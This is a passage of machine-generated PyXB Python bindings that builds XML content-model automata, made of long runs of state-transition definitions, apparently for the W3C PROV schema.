])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_24, False) ])) st_24._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_25, True) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_25, False) ])) st_25._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_26, True) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_26, False) ])) st_26._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_27, True) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_27, False) ])) st_27._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_28, True) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_28, False) ])) st_28._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_29, True) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_29, False) ])) st_29._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_30, True) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_30, False) ])) st_30._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_31, True) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_31, False) ])) st_31._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_32, True) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_32, False) ])) st_32._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_33, True) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_33, False) ])) st_33._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ ])) transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) transitions.append(fac.Transition(st_8, [ ])) transitions.append(fac.Transition(st_9, [ ])) transitions.append(fac.Transition(st_10, [ ])) transitions.append(fac.Transition(st_11, [ ])) transitions.append(fac.Transition(st_12, [ ])) transitions.append(fac.Transition(st_13, [ ])) transitions.append(fac.Transition(st_14, [ ])) transitions.append(fac.Transition(st_15, [ ])) transitions.append(fac.Transition(st_16, [ ])) transitions.append(fac.Transition(st_17, [ ])) transitions.append(fac.Transition(st_18, [ ])) transitions.append(fac.Transition(st_19, [ ])) transitions.append(fac.Transition(st_20, [ ])) transitions.append(fac.Transition(st_21, [ ])) transitions.append(fac.Transition(st_22, [ ])) transitions.append(fac.Transition(st_23, [ ])) transitions.append(fac.Transition(st_24, [ ])) transitions.append(fac.Transition(st_25, [ ])) transitions.append(fac.Transition(st_26, [ ])) transitions.append(fac.Transition(st_27, [ ])) transitions.append(fac.Transition(st_28, [ ])) transitions.append(fac.Transition(st_29, [ ])) transitions.append(fac.Transition(st_30, [ ])) transitions.append(fac.Transition(st_31, [ ])) transitions.append(fac.Transition(st_32, [ ])) transitions.append(fac.Transition(st_33, [ ])) transitions.append(fac.Transition(st_34, [ ])) st_34._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Document._Automaton = _BuildAutomaton_23() def _BuildAutomaton_24 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_24 del _BuildAutomaton_24 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 665, 7)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_lax, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), 